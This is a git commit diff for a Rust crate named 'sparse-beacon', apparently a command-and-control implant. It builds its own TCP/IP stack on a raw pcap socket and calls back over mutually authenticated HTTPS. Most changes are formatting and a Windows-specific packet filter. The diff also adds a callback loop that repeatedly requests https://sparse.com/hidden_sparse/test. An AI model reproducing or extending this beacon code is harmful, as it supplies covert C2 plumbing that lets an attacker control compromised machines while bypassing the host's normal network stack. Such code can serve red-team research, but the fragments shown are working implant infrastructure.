feat: made sure everything worked on Windows

sparse-beacon/src/adapter.rs

@@ -9,6 +9,7 @@ pub struct BeaconRoute {
     pub interface_index: usize,
 }
 
+#[derive(Debug)]
 pub struct BeaconNetworkingInfo {
     pub routes: Vec<BeaconRoute>,
     pub interfaces: Vec<BeaconInterface>,

sparse-beacon/src/callback.rs

@@ -1,32 +1,40 @@
-use std::{future::Future, pin::Pin, task::{self, Poll}};
+use std::{
+    future::Future,
+    pin::Pin,
+    task::{self, Poll},
+};
 
 use http::Uri;
-use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
+use hyper_util::{
+    client::legacy::Client,
+    rt::{TokioExecutor, TokioIo},
+};
 use rustls::RootCertStore;
 use tower_service::Service;
 
 use sparse_actions::payload_types::Parameters;
 
-use crate::{adapter, error, tcp::{self, setup_network}};
+use crate::{
+    adapter, error,
+    tcp::{self, setup_network},
+};
 
 #[derive(Clone)]
 pub struct ServerConnector<T>
 where
-    T: adapter::BeaconAdapter + Clone + Send + 'static
+    T: adapter::BeaconAdapter + Clone + Send + 'static,
 {
     adapter: T,
-    parameters: Parameters
+    parameters: Parameters,
 }
 
 impl<T> Service<Uri> for ServerConnector<T>
 where
-    T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
+    T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
 {
     type Response = TokioIo<tcp::NetInterfaceHandle>;
     type Error = error::BeaconError<T::Error>;
-    type Future = Pin<Box<
-        dyn Future<Output = Result<Self::Response, Self::Error>> + Send
-    >>;
+    type Future = Pin<Box<dyn Future<Output = Result<Self::Response, Self::Error>> + Send>>;
 
     fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll<Result<(), Self::Error>> {
         Poll::Ready(Ok(()))
@@ -36,11 +44,7 @@ where
         Box::pin({
             let adapter = self.adapter.clone();
             let params = self.parameters.clone();
-            async move {
-                setup_network(adapter, params)
-                    .await
-                    .map(TokioIo::new)
-            }
+            async move { setup_network(adapter, params).await.map(TokioIo::new) }
         })
     }
 }
@@ -52,32 +56,27 @@ pub async fn obtain_https_client<T, B>(
 where
     T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
     B: hyper::body::Body + Send,
-    <B as hyper::body::Body>::Data: Send
+    <B as hyper::body::Body>::Data: Send,
 {
     let server_cert = rustls::pki_types::CertificateDer::from(
-        parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
+        parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned(),
     );
 
     let client_cert = rustls::pki_types::CertificateDer::from(
-        parameters.client_cert[..parameters.client_cert_length as usize].to_owned()
+        parameters.client_cert[..parameters.client_cert_length as usize].to_owned(),
     );
 
     let client_key = rustls::pki_types::PrivateKeyDer::try_from(
-        parameters.client_key[..parameters.client_key_length as usize].to_owned()
+        parameters.client_key[..parameters.client_key_length as usize].to_owned(),
     )
-        .map_err(|_| rustls::Error::InvalidCertificate(
-            rustls::CertificateError::BadEncoding
-        ))?;
+    .map_err(|_| rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding))?;
 
     let mut root_store = RootCertStore::empty();
     root_store.add(server_cert.clone())?;
 
     let tls_config = rustls::ClientConfig::builder()
         .with_root_certificates(root_store)
-        .with_client_auth_cert(
-            vec![client_cert, server_cert],
-            client_key
-        )?;
+        .with_client_auth_cert(vec![client_cert, server_cert], client_key)?;
 
     let https = hyper_rustls::HttpsConnectorBuilder::new()
         .with_tls_config(tls_config)
@@ -86,11 +85,10 @@ where
         .enable_http2()
         .wrap_connector(ServerConnector {
             adapter: adapter.clone(),
-            parameters: parameters.clone()
+            parameters: parameters.clone(),
         });
 
-    let client = Client::builder(TokioExecutor::new())
-        .build(https);
+    let client = Client::builder(TokioExecutor::new()).build(https);
 
     Ok(client)
 }

sparse-beacon/src/lib.rs

@@ -1,5 +1,8 @@
 use sparse_actions::payload_types::Parameters;
 
+use http_body_util::{BodyExt, Empty};
+use hyper::Request;
+
 mod callback;
 mod socket;
 mod tcp;
@@ -8,10 +11,26 @@ pub mod adapter;
 pub mod error;
 pub use error::BeaconError;
 
-pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
+pub async fn run_beacon_step<A>(
+    host_adapter: A,
+    params: Parameters,
+) -> Result<(), BeaconError<A::Error>>
 where
     A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
 {
+    let client = callback::obtain_https_client(&host_adapter, &params).await?;
+
+    for _ in 1..5 {
+        let req = Request::builder()
+            .uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
+            .body(Empty::<bytes::Bytes>::new())?;
+        let resp = client.request(req).await?;
+
+        println!("{:?} {:?}", resp.version(), resp.status());
+        let body = resp.into_body();
+        let body = body.collect().await;
+        println!("{:?}", body);
+    }
 
     Ok(())
 }

sparse-beacon/src/socket.rs

@@ -35,7 +35,11 @@ impl RawSocket {
 
         lower.activate()?;
 
-        lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
+        if cfg!(target_os = "linux") {
+            lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
+        } else {
+            lower.set_filter(&format!("arp or tcp port {port}"), true, None)?;
+        }
 
         Ok(Self {
             inner: SocketInner { lower },

sparse-beacon/src/tcp.rs

@@ -5,6 +5,7 @@ use std::{
     task::{Context, Poll},
 };
 
+use hyper_util::client::legacy::connect;
 use smoltcp::{
     iface::{Config, Interface, SocketHandle, SocketSet},
     socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
@@ -13,10 +14,9 @@ use smoltcp::{
 };
 use tokio::{
     io::{AsyncRead, AsyncWrite},
+    sync::broadcast,
     task::{spawn_blocking, JoinHandle},
-    sync::broadcast
 };
-use hyper_util::client::legacy::connect;
 
 use sparse_actions::payload_types::Parameters;
 
@@ -32,7 +32,6 @@ pub struct NetInterfaceHandle {
 
 impl Drop for NetInterfaceHandle {
     fn drop(&mut self) {
-        println!("Running drop for net interface handle; {} copies exist", Arc::strong_count(&self.net));
         let _ = self.close_background.send(());
         self.background_process.abort();
     }
@@ -288,33 +287,33 @@ where
 
         ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
     }
+    if cfg!(debug_assertions) {
+        println!("Connected!");
+    }
 
     let net = Arc::new(Mutex::new((sockets, device, iface)));
 
     let background_process = spawn_blocking({
         let net = Arc::clone(&net);
 
-        move || {
-            loop {
-                if close_background_recv.try_recv().is_ok() {
-                    println!("Running drop for background thread; {} copies exist", Arc::strong_count(&net));
-                    break;
-                }
-
-                let delay = {
-                    let Ok(mut guard) = net.lock() else {
-                        continue;
-                    };
-                    let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
-
-                    let timestamp = Instant::now();
-                    i_guard.poll(timestamp, d_guard, s_guard);
-
-                    i_guard.poll_delay(timestamp, s_guard)
-                };
-
-                let _ = ready_wait.wait(delay.map(Into::into));
+        move || loop {
+            if close_background_recv.try_recv().is_ok() {
+                break;
             }
+
+            let delay = {
+                let Ok(mut guard) = net.lock() else {
+                    continue;
+                };
+                let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
+
+                let timestamp = Instant::now();
+                i_guard.poll(timestamp, d_guard, s_guard);
+
+                i_guard.poll_delay(timestamp, s_guard)
+            };
+
+            let _ = ready_wait.wait(delay.map(Into::into));
         }
     });